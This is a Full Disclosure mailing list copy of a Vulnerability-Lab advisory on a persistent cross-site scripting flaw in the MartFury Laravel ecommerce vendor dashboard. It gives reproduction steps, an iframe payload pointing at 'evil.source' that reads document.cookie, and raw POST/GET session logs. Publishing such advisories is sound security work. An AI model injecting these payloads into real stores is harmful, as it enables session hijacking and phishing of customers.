Full Disclosure mailing list archives

MartFury Marketplace - Cross Site Scripting Vulnerability


From: "info () vulnerability-lab com" <info () vulnerability-lab com>
Date: Thu, 17 Feb 2022 12:27:57 +0100

Document Title:
===============
MartFury Marketplace - Cross Site Scripting Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2282


Release Date:
=============
2022-02-17


Vulnerability Laboratory ID (VL-ID):
====================================
2282


Common Vulnerability Scoring System:
====================================
5.5


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Martfury is a clean & modern Laravel Ecommerce System for multipurpose online stores. With design clean and trendy, 
Martfury will make your
online store look more impressive and attractive to viewers. Help increase the high conversion rate to buy products 
with your customers
so quickly. Designed on the grid system, your site will look sharp on all screens. Mobile optimized design based on 
user experience, brings
the best shopping experience for your customers.

(Copy of the Homepage:https://codecanyon.net/item/martfury-multipurpose-laravel-ecommerce-system/29925223  )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site scripting web vulnerability in the 
official MartFuryonline service web-application.


Affected Product(s):
====================
Botble
Product: MartFury - Online Service (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2021-08-22: Researcher Notification & Coordination (Security Researcher)
2021-08-23: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2022-02-17: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (User Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A persistent cross site scripting web vulnerability has been discovered in the official MartFury online service 
web-application.
The web vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to 
compromise
browser to web-application requests from the application-side.

The vulnerability is located in the products description and name parameters of the create function in the products 
module (martfury dashboard).
Remote attackers with privileged account access (user to vendor by product) are able to inject own malicious products. 
After a product is saved
any customer that buys the article executes the malicious inject payload on events like favorite & compare. On the 
request a confirm information
is displayed on the left top of the application that executes the script code with persistent attack vector. The 
request method to inject is post
and the attack vector is persistent located on the application-side.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent 
external redirects to malicious
source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Status Notifcation

Vulnerable Input(s):
[+] Name
[+] Description

Vulnerable Parameter(s):
[+] name
[+] description

Affected Module(s):
[+] Compare
[+] Favorite


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account 
and low user interaction.
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information 
and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Register an account
2. Move to vendor dashboard
3. Register an account
4. Go to products and create a product
5. Inject payload to name and description
6. Save by submit via post method request
7. Preview the public product
8. Click compare or the favorites button
9. Status displays and executes the malicious script code with persistent attack vector
10. Successful reproduce of the persistent web vulnerability!


Exploitation: Payload
<iframe src=evil.source onload=alert(document.cookie)>


--- PoC Session Logs (POST) (Inject) [Name & Description] ---
https://martfury.localhost:8080/vendor/products/create
Host: martfury.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------312580254331809165411596595054
Content-Length: 4034
Origin:https://martfury.localhost:8080
Connection: keep-alive
Referer:https://martfury.localhost:8080/vendor/products/create
Cookie: 
botble_session=atJpdiI6ImhVNTAySnlXSWVJM01TbVlaenNZMHc9PSIsInZhbHVlIukefh843rz39zf3hf8f3eDBUa1lsSnlPNlpnNDBlY2RjZGRjZDIyIiwidGFnIjoiIn0%3D;
botble_cookie_newsletter=1; cookie_for_consent=1; __stripe_sid=0c82eaf7-75c0-41d5-8fa9-ebdfe27637d7fd80f6; 
__stripe_mid=ce8c5fe9-89ae-44e2-bfc9-9deca5e9b2235ff290
_token=2uQCgRQYHVxjDaqc6dlyPHbaxG0IO0rcDIJgmQRf&name=>"<iframe src=evil.source 
onload=alert(document.cookie)>&slug=iframe-srca-onloadalertdocumentcookie-1&slug_id=0&model=
BotbleEcommerceModelsProduct&description=>"<iframe src=evil.source 
onload=aler(document.cookie)>&content=&images=&sale_type=0&sku=&price=0&sale_price=
&start_date=&end_date=&with_storehouse_management=0&quantity=0&allow_checkout_when_out_of_stock=0&stock_status=in_stock&weight=0&length=0&wide=0&height=0
&is_added_attributes=0&added_attributes[1]=1&related_products=&cross_sale_products=&seo_meta[seo_title]=&seo_meta[seo_description]=&submit=save&brand_id=0&tax_id=0&tag=
-
POST: HTTP/3.0 302 Found
content-type: text/html; charset=UTF-8
location:https://martfury.localhost:8080/vendor/products
set-cookie: 
botble_session=atJpdiI6ImhVNTAySnlXSWVJM01TbVlaenNZMHc9PSIsInZhbHVlIukefh843rz39zf3hf8f3eDBUa1lsSnlPNlpnNDBlY2RjZGRjZDIyIiwidGFnIjoiIn0%3D;


--- PoC Session Logs (GET) (Execution) [Favorite & Compare] ---
https://martfury.localhost:8080/stores/evil.source
Host: martfury.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer:https://martfury.localhost:8080/stores/iframe-srca-onloadalertdocumentcookie
Cookie: 
botble_session=atJpdiI6ImhVNTAySnlXSWVJM01TbVlaenNZMHc9PSIsInZhbHVlIukefh843rz39zf3hf8f3eDBUa1lsSnlPNlpnNDBlY2RjZGRjZDIyIiwidGFnIjoiIn0%3D;
botble_cookie_newsletter=1; cookie_for_consent=1; __stripe_sid=0c82eaf7-75c0-41d5-8fa9-ebdfe27637d7fd80f6; 
__stripe_mid=ce8c5fe9-89ae-44e2-bfc9-9deca5e9b2235ff290
-
GET: HTTP/3.0 200 OK
content-type: text/html; charset=UTF-8
vary: Accept-Encoding
cache-control: no-cache, private
set-cookie: 
botble_session=atJpdiI6ImhVNTAySnlXSWVJM01TbVlaenNZMHc9PSIsInZhbHVlIukefh843rz39zf3hf8f3eDBUa1lsSnlPNlpnNDBlY2RjZGRjZDIyIiwidGFnIjoiIn0%3D;


Reference(s):
https://martfury.localhost:8080/stores/
https://martfury.localhost:8080/vendor/
https://martfury.localhost:8080/vendor/products/
https://martfury.localhost:8080/vendor/products/create


Security Risk:
==============
The security risk of the persistent cross site scripting vulnerability in the online service web-application is 
estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all 
warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 
Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of 
business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. 
Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade 
with stolen data.

Domains:www.vulnerability-lab.com               www.vuln-lab.com                                www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com      paste.vulnerability-db.com                      
infosec.vulnerability-db.com
Social:     twitter.com/vuln_lab                facebook.com/VulnerabilityLab                   
youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   vulnerability-lab.com/rss/rss_upcoming.php      
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    vulnerability-lab.com/register.php  
vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability 
Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the 
use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, 
videos and other
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, 
modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

                                    Copyright © 2022 | Vulnerability Laboratory - [Evolution Security GmbH]™



--
VULNERABILITY LABORATORY (VULNERABILITY LAB)
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE

Attachment: OpenPGP_signature
Description: OpenPGP digital signature


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Current thread: